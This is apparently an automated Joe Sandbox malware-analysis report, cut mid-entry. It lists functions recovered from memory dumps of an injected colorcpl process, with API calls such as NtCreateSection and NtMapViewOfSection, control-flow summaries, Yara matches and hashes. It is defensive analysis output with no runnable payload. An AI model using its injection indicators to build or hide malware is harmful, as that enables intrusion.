                                                                                                                                                                                    • Opcode Fuzzy Hash: 7bc916a415ef614ffafa7f75d0ec115445e44d1b24a8fe03bb76e065ae57333e
                                                                                                                                                                                    • Instruction Fuzzy Hash: 1CF15070518A8C8FDFA5EF68C894AEEB7E4FB98304F40462ED44AC7250EF74A945CB45
                                                                                                                                                                                    Function 04699BAF Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 227nativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 207 4699baf-4699bfe call 4699102 210 4699c0c-4699c9a call 469b942 * 2 NtCreateSection 207->210 211 4699c00 207->211 217 4699d5a-4699d68 210->217 218 4699ca0-4699d0a call 469b942 NtMapViewOfSection 210->218 212 4699c02-4699c0a 211->212 212->210 212->212 221 4699d0c-4699d4c 218->221 222 4699d52 218->222 224 4699d69-4699d6b 221->224 225 4699d4e-4699d4f 221->225 222->217 226 4699d88-4699ddc call 469cd62 NtClose 224->226 227 4699d6d-4699d72 224->227 225->222 228 4699d74-4699d86 call 4699172 227->228 228->226
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4524875716.0000000004690000.00000040.00000800.00020000.00000000.sdmp, Offset: 04690000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_4690000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Section$CloseCreateView
                                                                                                                                                                                    • String ID: @$@
                                                                                                                                                                                    • API String ID: 1133238012-149943524
                                                                                                                                                                                    • Opcode ID: db7dcd85dc853400a789dde9de35cb8114d6383d98fd4a16120e7ccab82aa783
                                                                                                                                                                                    • Instruction ID: 9531359db6fb6f04913961f0f9efe318aadb409996aa950badce4ca1267855e3
                                                                                                                                                                                    • Opcode Fuzzy Hash: db7dcd85dc853400a789dde9de35cb8114d6383d98fd4a16120e7ccab82aa783
                                                                                                                                                                                    • Instruction Fuzzy Hash: AB6193B0118B088FDB58DF58D8856AABBE0FF98314F50062EE58AC3251DF75E845CB86
                                                                                                                                                                                    Function 04699BB2 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 171nativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 266 4699bb2-4699bef 267 4699bf7-4699bfe 266->267 268 4699bf2 call 4699102 266->268 269 4699c0c-4699c9a call 469b942 * 2 NtCreateSection 267->269 270 4699c00 267->270 268->267 276 4699d5a-4699d68 269->276 277 4699ca0-4699d0a call 469b942 NtMapViewOfSection 269->277 271 4699c02-4699c0a 270->271 271->269 271->271 280 4699d0c-4699d4c 277->280 281 4699d52 277->281 283 4699d69-4699d6b 280->283 284 4699d4e-4699d4f 280->284 281->276 285 4699d88-4699ddc call 469cd62 NtClose 283->285 286 4699d6d-4699d72 283->286 284->281 287 4699d74-4699d86 call 4699172 286->287 287->285
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4524875716.0000000004690000.00000040.00000800.00020000.00000000.sdmp, Offset: 04690000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_4690000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Section$CreateView
                                                                                                                                                                                    • String ID: @$@
                                                                                                                                                                                    • API String ID: 1585966358-149943524
                                                                                                                                                                                    • Opcode ID: d19581801156352ea8c1368f03ac477e7143ca4b49b2be0ea58d8e64d299f740
                                                                                                                                                                                    • Instruction ID: 77631dc4c39f2ff03420bd9c68ae55da1aa6048b3da01e20327c931909cd7884
                                                                                                                                                                                    • Opcode Fuzzy Hash: d19581801156352ea8c1368f03ac477e7143ca4b49b2be0ea58d8e64d299f740
                                                                                                                                                                                    • Instruction Fuzzy Hash: 5651A0B0618B088FDB58DF18D8856AABBE4FF88304F50062EE58EC3251DF71E441CB86
                                                                                                                                                                                    Function 0469A042 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 163nativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtQueryInformationProcess.NTDLL ref: 0469A19F
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4524875716.0000000004690000.00000040.00000800.00020000.00000000.sdmp, Offset: 04690000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_4690000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InformationProcessQuery
                                                                                                                                                                                    • String ID: 0
                                                                                                                                                                                    • API String ID: 1778838933-4108050209
                                                                                                                                                                                    • Opcode ID: 4a13b2017a61ababd9bba988d9a9b5b8b8f576b3da72e298de5122239bed11ad
                                                                                                                                                                                    • Instruction ID: 0ab8749d966ad064e09315758fa75608b9d2897870d2009802df0c9ad78ff787
                                                                                                                                                                                    • Opcode Fuzzy Hash: 4a13b2017a61ababd9bba988d9a9b5b8b8f576b3da72e298de5122239bed11ad
                                                                                                                                                                                    • Instruction Fuzzy Hash: B4515E70914A9C8FDBA9EF68C8946EEB7F4FB98304F40422ED44AD7210EF709A45CB45
                                                                                                                                                                                    Function 005CA2EA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66filenativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 542 5ca2ea-5ca2ee 543 5ca338-5ca381 call 5caf30 NtCreateFile 542->543 544 5ca2f0-5ca329 call 5caf30 542->544
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtCreateFile.NTDLL(00000060,00000000,.z`,005C4BB7,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,005C4BB7,007A002E,00000000,00000060,00000000,00000000), ref: 005CA37D
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CreateFile
                                                                                                                                                                                    • String ID: .z`
                                                                                                                                                                                    • API String ID: 823142352-1441809116
                                                                                                                                                                                    • Opcode ID: 60ba23054b50635cf57a664ecaabc91fb639b4254705df40474ddd73745a59cc
                                                                                                                                                                                    • Instruction ID: 0196e3540dcca489bdea681e5bbc75452ad9a65ab6c5520f9972f3f69e280b03
                                                                                                                                                                                    • Opcode Fuzzy Hash: 60ba23054b50635cf57a664ecaabc91fb639b4254705df40474ddd73745a59cc
                                                                                                                                                                                    • Instruction Fuzzy Hash: 4D110AB6215209AFCB04DF98DC85DEB7BADAF8C314F05864DFA4D97241C630E811CBA0
                                                                                                                                                                                    Function 005CA32A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43filenativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 550 5ca32a-5ca346 551 5ca34c-5ca381 NtCreateFile 550->551 552 5ca347 call 5caf30 550->552 552->551
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtCreateFile.NTDLL(00000060,00000000,.z`,005C4BB7,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,005C4BB7,007A002E,00000000,00000060,00000000,00000000), ref: 005CA37D
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CreateFile
                                                                                                                                                                                    • String ID: .z`
                                                                                                                                                                                    • API String ID: 823142352-1441809116
                                                                                                                                                                                    • Opcode ID: f0b03f65585031601ef09eec40b99b8fc33a98648d44dc91f8ac0b2b44fe10bd
                                                                                                                                                                                    • Instruction ID: fec328d67b4408b1fe156dca199ec9b3c0f9693ca97e88124238a9d65fff2fba
                                                                                                                                                                                    • Opcode Fuzzy Hash: f0b03f65585031601ef09eec40b99b8fc33a98648d44dc91f8ac0b2b44fe10bd
                                                                                                                                                                                    • Instruction Fuzzy Hash: 6B01F2B2211208AFCB08CF88DC84EEB77ADAF8C744F05820CFA0C97241C630E841CBA0
                                                                                                                                                                                    Function 005CA330 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 553 5ca330-5ca346 554 5ca34c-5ca381 NtCreateFile 553->554 555 5ca347 call 5caf30 553->555 555->554
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtCreateFile.NTDLL(00000060,00000000,.z`,005C4BB7,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,005C4BB7,007A002E,00000000,00000060,00000000,00000000), ref: 005CA37D
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CreateFile
                                                                                                                                                                                    • String ID: .z`
                                                                                                                                                                                    • API String ID: 823142352-1441809116
                                                                                                                                                                                    • Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
                                                                                                                                                                                    • Instruction ID: 3952ceb64ca9df7854dd4b72a5a27e7711de09589ffdcde80e2421cdfaea8d49
                                                                                                                                                                                    • Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
                                                                                                                                                                                    • Instruction Fuzzy Hash: F9F0BDB2211208AFCB08CF88DC85EEB77ADAF8C754F158248BA0D97241C630E8118BA4
                                                                                                                                                                                    Function 005CA3DA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36filenativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 556 5ca3da-5ca429 call 5caf30 NtReadFile
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtReadFile.NTDLL(?,?,FFFFFFFF,?,?,?,?,?,1J\,FFFFFFFF,?,rM\,?,00000000), ref: 005CA425
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: FileRead
                                                                                                                                                                                    • String ID: 1J\
                                                                                                                                                                                    • API String ID: 2738559852-2997087461
                                                                                                                                                                                    • Opcode ID: e36ec178e8ffe1fe657c74cf8b232a2ea8ae32859f4c1d9b2af2f1176d4cfa76
                                                                                                                                                                                    • Instruction ID: e46fd82530a88863d0e2d4d15d04e29be134046642669c7db6db776288d2078a
                                                                                                                                                                                    • Opcode Fuzzy Hash: e36ec178e8ffe1fe657c74cf8b232a2ea8ae32859f4c1d9b2af2f1176d4cfa76
                                                                                                                                                                                    • Instruction Fuzzy Hash: 64F017B6210149AFCB09DF98D890CEB7BADBF8C314B15869DFD0C97216C634E8558BA0
                                                                                                                                                                                    Function 005CA3E0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36filenativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 559 5ca3e0-5ca3f6 560 5ca3fc-5ca429 NtReadFile 559->560 561 5ca3f7 call 5caf30 559->561 561->560
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtReadFile.NTDLL(?,?,FFFFFFFF,?,?,?,?,?,1J\,FFFFFFFF,?,rM\,?,00000000), ref: 005CA425
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: FileRead
                                                                                                                                                                                    • String ID: 1J\
                                                                                                                                                                                    • API String ID: 2738559852-2997087461
                                                                                                                                                                                    • Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
                                                                                                                                                                                    • Instruction ID: 3e5d0ce45beb129dbcde992deffc727e0d495e8d021cbcba7ddfe6ad8e5ee4f0
                                                                                                                                                                                    • Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
                                                                                                                                                                                    • Instruction Fuzzy Hash: BBF0A4B6210208AFCB14DF89DC85EEB77ADAF8C754F158249BA1D97241D630E8118BA0
                                                                                                                                                                                    Function 005CA45E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21nativeCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtClose.NTDLL(PM\,?,?,005C4D50,00000000,FFFFFFFF), ref: 005CA485
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Close
                                                                                                                                                                                    • String ID: PM\
                                                                                                                                                                                    • API String ID: 3535843008-3036142389
                                                                                                                                                                                    • Opcode ID: bd82444856bed58548c441bf307f6eaadb065f8503de15c78d6c445b76fc939d
                                                                                                                                                                                    • Instruction ID: 704f49f8fbf95654edcd6d0a444d36342f54376a6b771404dcadeb626efda7fc
                                                                                                                                                                                    • Opcode Fuzzy Hash: bd82444856bed58548c441bf307f6eaadb065f8503de15c78d6c445b76fc939d
                                                                                                                                                                                    • Instruction Fuzzy Hash: 0BE08C76200604BFD720EBA4CC49EDB7B68EF84354F104459B90AAB242C130A5108B90
                                                                                                                                                                                    Function 005CA460 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20nativeCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtClose.NTDLL(PM\,?,?,005C4D50,00000000,FFFFFFFF), ref: 005CA485
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Close
                                                                                                                                                                                    • String ID: PM\
                                                                                                                                                                                    • API String ID: 3535843008-3036142389
                                                                                                                                                                                    • Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
                                                                                                                                                                                    • Instruction ID: 6281e0692068fffab3bbb21d5323431f357cf837d5260cd85be51c7bed5e924a
                                                                                                                                                                                    • Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
                                                                                                                                                                                    • Instruction Fuzzy Hash: 8ED01776211218ABD710EBD8CC89FA77BACEF88764F154499BA189B242C530FA0086E0
                                                                                                                                                                                    Function 005CA50A Relevance: 1.5, APIs: 1, Instructions: 31memorynativeCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,005B2D11,00002000,00003000,00000004), ref: 005CA549
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: AllocateMemoryVirtual
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2167126740-0
                                                                                                                                                                                    • Opcode ID: feba9c7679bc1ab7f4ebbbc94c28323aad5d88c0d8185c2a72d654f74b30e2de
                                                                                                                                                                                    • Instruction ID: 4062d89462c68f66f61f163ea4f6950589a31c83016fd4075fd42eca64d6b844
                                                                                                                                                                                    • Opcode Fuzzy Hash: feba9c7679bc1ab7f4ebbbc94c28323aad5d88c0d8185c2a72d654f74b30e2de
                                                                                                                                                                                    • Instruction Fuzzy Hash: C3F05EB6210108AFDB14CF88CC80EE77B69AF8C314F158549FE489B241C230E811CFA0
                                                                                                                                                                                    Function 005CA510 Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,005B2D11,00002000,00003000,00000004), ref: 005CA549
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: AllocateMemoryVirtual
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2167126740-0
                                                                                                                                                                                    • Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
                                                                                                                                                                                    • Instruction ID: 4e39e021d76e1fbd05dd9b457bd951fcf49e2f9a780cb957cc85cb0befe0e3c1
                                                                                                                                                                                    • Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
                                                                                                                                                                                    • Instruction Fuzzy Hash: 37F015B6210208AFCB14DF89CC81EAB77ADAF88754F118149BE0897241C630F811CBA0
                                                                                                                                                                                    Function 04812CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: f98c8a0b6220c5921a1cccb641a986fd498b55cbe74b354b08ca8ead45108830
                                                                                                                                                                                    • Instruction ID: 6a90c1f1753daaf75871e868a9b8e2d0539f73bc04179adebe3c8c50208efaac
                                                                                                                                                                                    • Opcode Fuzzy Hash: f98c8a0b6220c5921a1cccb641a986fd498b55cbe74b354b08ca8ead45108830
                                                                                                                                                                                    • Instruction Fuzzy Hash: 8190023120141416F5007598550964600058BE0305F55D611AA039555ECA65D9D56132
                                                                                                                                                                                    Function 04812C60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 20b6662ac36ee7bca9af8b7cd9db36076e619c3a636147d12f846cc5872cf90a
                                                                                                                                                                                    • Instruction ID: da4dc9764e120c6a9ff6bac63e3158555944a89419c04d7486d943c5d09fde96
                                                                                                                                                                                    • Opcode Fuzzy Hash: 20b6662ac36ee7bca9af8b7cd9db36076e619c3a636147d12f846cc5872cf90a
                                                                                                                                                                                    • Instruction Fuzzy Hash: 9A90023120141856F50071584505B4600058BE0305F55C616A5139654D8A15D9D57522
                                                                                                                                                                                    Function 04812C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: e1333aff528636eb64844defca9d6315ca0cc711e090f4414d08a11571f3f77e
                                                                                                                                                                                    • Instruction ID: 671ecf6d5c7925ca490c6f45c45c1b7f409a9bcb965fe3a7f408f86f003c3d6e
                                                                                                                                                                                    • Opcode Fuzzy Hash: e1333aff528636eb64844defca9d6315ca0cc711e090f4414d08a11571f3f77e
                                                                                                                                                                                    • Instruction Fuzzy Hash: 8390023120149816F5107158850574A00058BD0305F59CA11A9439658D8A95D9D57122
                                                                                                                                                                                    Function 04812DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 277aa8cab238c00a5fbca330c9d97d5fe58f740f610625d225f4a3afe37b315a
                                                                                                                                                                                    • Instruction ID: f557c709695700815b9bfb1945542a02b2e7e68e6a006a35f89f622cb07912a4
                                                                                                                                                                                    • Opcode Fuzzy Hash: 277aa8cab238c00a5fbca330c9d97d5fe58f740f610625d225f4a3afe37b315a
                                                                                                                                                                                    • Instruction Fuzzy Hash: 4C900221242451667945B158450550740069BE0245795C612A6429950C8926E9DAD622
                                                                                                                                                                                    Function 04812DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 8c8cc5a351173261fa76cff1c89536c3aaaac8ee936bfdf3a9285f1c6561edff
                                                                                                                                                                                    • Instruction ID: 7702f0eafbaf6b88bcbf92fac28ec20e44ed0012d4d4df1562c1c2302fde5516
                                                                                                                                                                                    • Opcode Fuzzy Hash: 8c8cc5a351173261fa76cff1c89536c3aaaac8ee936bfdf3a9285f1c6561edff
                                                                                                                                                                                    • Instruction Fuzzy Hash: B390023120141427F5117158460570700098BD0245F95CA12A5439558D9A56DAD6A122
                                                                                                                                                                                    Function 04812D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 6913fddc48c119e8dde916b71b87b116dd61b999376f93d0ef81f2c3273bf1ef
